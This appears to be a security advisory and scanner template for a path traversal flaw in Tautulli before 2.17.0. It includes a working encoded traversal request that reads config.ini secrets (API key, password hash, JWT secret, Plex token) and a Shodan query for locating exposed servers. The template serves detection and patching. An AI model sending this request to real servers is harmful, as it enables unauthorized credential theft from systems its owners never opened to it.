Tautulli is a monitoring and tracking tool for Plex Media Server. Prior to version 2.17.0, the `/newsletter/image/images` endpoint joins user-controlled path segments onto the newsletter image directory without containment validation. Authentication is not required for this endpoint, allowing unauthenticated attackers to perform directory traversal and read arbitrary files accessible to the server process. Reading `config/config.ini` discloses the API key, the hashed admin password, the JWT token secret, and the Plex Media Server token. Version 2.17.0 fixes this issue.
PoC
id: CVE-2026-31831
info:
name: Tautulli <= 2.16.1 - Path Traversal
author: WRG-11
severity: high
description: |
Tautulli is a monitoring and tracking tool for Plex Media Server. Prior to version 2.17.0, the `/newsletter/image/images` endpoint joins user-controlled path segments onto the newsletter image directory without containment validation. Authentication is not required for this endpoint, allowing unauthenticated attackers to perform directory traversal and read arbitrary files accessible to the server process. Reading `config/config.ini` discloses the API key, the hashed admin password, the JWT token secret, and the Plex Media Server token. Version 2.17.0 fixes this issue.
impact: |
Unauthenticated attackers can read arbitrary files accessible to the server, including `config.ini` (API key, hashed admin password, JWT secret, Plex token) and `tautulli.db` (active JWT tokens).
remediation: |
Update to version 2.17.0 or later.
reference:
- https://github.com/Tautulli/Tautulli/security/advisories/GHSA-xp55-2pf4-fv8m
- https://nvd.nist.gov/vuln/detail/CVE-2026-31831
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-31831
epss-score: 0.01965
epss-percentile: 0.79344
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: tautulli
product: tautulli
shodan-query: http.title:"Tautulli"
tags: cve,cve2026,tautulli,lfi,traversal
http:
- raw:
- |
GET /newsletter/image/images/..%2F..%2F..%2F..%2F..%2F..%2Fconfig%2Fconfig.ini HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "[General]"
- "[PMS]"
- "pms_identifier"
condition: and
- type: word
part: content_type
words:
- "image/png"
- type: status
status:
- 200
# digest: 4a0a00473045022100a2c90f53acac58e0642a9c73e49af8e2362ee04296af5338cf3fcf8edcab0fd602206489b42ee86742778e99a8a6c383083931da9d429be5f1118ab457fd1bd4a4c3:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.